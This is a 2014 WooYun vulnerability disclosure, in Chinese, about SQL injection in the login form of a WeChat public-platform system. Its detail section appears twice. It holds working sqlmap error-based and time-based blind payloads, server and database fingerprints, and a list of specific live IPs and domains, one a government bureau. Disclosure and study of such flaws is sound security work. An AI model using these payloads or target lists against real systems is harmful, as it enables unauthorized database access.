当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078829

漏洞标题:某微信公众平台SQL注入漏洞

相关厂商:某微信公众平台

漏洞作者: 乐乐、

提交时间:2014-10-10 11:24

修复时间:2015-01-08 11:26

公开时间:2015-01-08 11:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-10: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-08: 细节向公众公开

简要描述:

SQL注入

详细说明:

小沃微信

12.png


虽然没找到那么多但是五个例子还是能找够的

q.png


POST登陆注入
http://218.57.204.115/index.php?m=Index&a=login 济南民政局

http://218.57.204.115:80/index.php?m=Users&a=checklogin (POST)
username='&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5


sqlmap identified the following injection points with a total of 3954 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: username=-4637') OR (SELECT 2365 FROM(SELECT COUNT(*),CONCAT(0x7176707771,(SELECT (CASE WHEN (2365=2365) THEN 1 ELSE 0 END)),0x7165626471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('daZs'='daZs&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: username=-3792') OR 2540=SLEEP(5) AND ('CLqx'='CLqx&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
---
web server operating system: Windows
web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5.0
available databases [4]:
[*] cx2014
[*] information_schema
[*] mysql
[*] test


http://218.56.32.66/index.php?m=Index&a=login 这个好像是官方的
http://218.56.32.66:80/index.php?m=Users&a=checklogin (POST)
username='&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: username=-9980') OR (SELECT 5517 FROM(SELECT COUNT(*),CONCAT(0x7176677571,(SELECT (CASE WHEN (5517=5517) THEN 1 ELSE 0 END)),0x71646f7971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('FJFh'='FJFh&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: username=-8998') OR 2425=SLEEP(5) AND ('GHmE'='GHmE&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515
---
web server operating system: Windows
web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5.0
available databases [4]:
[*] cx2014
[*] information_schema
[*] mysql
[*] test

qq.png


就不一一举例了,网速很慢,跑的也慢。。。
http://218.56.32.66/index.php?m=Index&a=login
http://60.213.43.43/index.php?m=Index&a=login
http://test.lcruijie.com/index.php?m=Index&a=login
http://222.135.141.76/index.php?m=Index&a=login
http://60.215.144.25/index.php?m=Index&a=login
http://wx.smartyt.net/index.php?m=Index&a=login
http://gazmpaz.mywsd.com.cn/index.php?m=Index&a=login
http://124.130.146.10/index.php?m=Index&a=login
.......

漏洞证明:

小沃微信

12.png


虽然没找到那么多但是五个例子还是能找够的

q.png


POST登陆注入
http://218.57.204.115/index.php?m=Index&a=login 济南民政局

http://218.57.204.115:80/index.php?m=Users&a=checklogin (POST)
username='&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5


sqlmap identified the following injection points with a total of 3954 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: username=-4637') OR (SELECT 2365 FROM(SELECT COUNT(*),CONCAT(0x7176707771,(SELECT (CASE WHEN (2365=2365) THEN 1 ELSE 0 END)),0x7165626471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('daZs'='daZs&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: username=-3792') OR 2540=SLEEP(5) AND ('CLqx'='CLqx&password='&submit=%E8%AF%B7%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_5d0610f6b690fccd8049624501e25aa5
---
web server operating system: Windows
web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5.0
available databases [4]:
[*] cx2014
[*] information_schema
[*] mysql
[*] test


http://218.56.32.66/index.php?m=Index&a=login 这个好像是官方的
http://218.56.32.66:80/index.php?m=Users&a=checklogin (POST)
username='&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE or HAVING clause
Payload: username=-9980') OR (SELECT 5517 FROM(SELECT COUNT(*),CONCAT(0x7176677571,(SELECT (CASE WHEN (5517=5517) THEN 1 ELSE 0 END)),0x71646f7971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('FJFh'='FJFh&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: username=-8998') OR 2425=SLEEP(5) AND ('GHmE'='GHmE&password=&submit=%E8%AF%B7%E5%AE%A1%E6%A0%B8%E5%90%8E%E5%86%8D%E7%99%BB%E5%BD%95&__hash__=3e9fde7441cc55bf46afe7f8361af205_c700381a595ea906f05ae5636574d102&__hash__=3e9fde7441cc55bf46afe7f8361af205_fdaa3abcec1d9c172fb1560e9236a331&__hash__=3e9fde7441cc55bf46afe7f8361af205_0fe52e08767c9329d22ed5b5702dc515
---
web server operating system: Windows
web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5.0
available databases [4]:
[*] cx2014
[*] information_schema
[*] mysql
[*] test

qq.png


就不一一举例了,网速很慢,跑的也慢。。。
http://218.56.32.66/index.php?m=Index&a=login
http://60.213.43.43/index.php?m=Index&a=login
http://test.lcruijie.com/index.php?m=Index&a=login
http://222.135.141.76/index.php?m=Index&a=login
http://60.215.144.25/index.php?m=Index&a=login
http://wx.smartyt.net/index.php?m=Index&a=login
http://gazmpaz.mywsd.com.cn/index.php?m=Index&a=login
http://124.130.146.10/index.php?m=Index&a=login
.......

修复方案:

过滤

版权声明:转载请注明来源 乐乐、@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-10-14 16:51

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-10 09:59 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @疯狗 这个有$吗?

  2. 2014-11-13 09:25 | 辣辣飞侠 ( 路人 | Rank:11 漏洞数:1 | 维护网络安全从我做起)

    @乐乐、 你QQ多少 想和你交流交流

  3. 2014-11-26 20:48 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    系统 通用型漏洞奖励 某微信公众平台SQL注... 收入 100 2014-11-26 = = 好长时间

  4. 2014-12-03 00:19 | test233 ( 路人 | Rank:0 漏洞数:1 | 这真的就是简介)

    pigcms 这个也能刷。。。也是醉了

  5. 2015-01-08 12:09 | 巫妖 ( 实习白帽子 | Rank:38 漏洞数:5 | 腚大屁股圆,家里一定很有钱)

    给里

  6. 2015-01-08 14:19 | Arthur ( 实习白帽子 | Rank:77 漏洞数:33 | USA,I am coming!!!!!)

    我发了几个和微信有关的,现在还了无音讯,唉~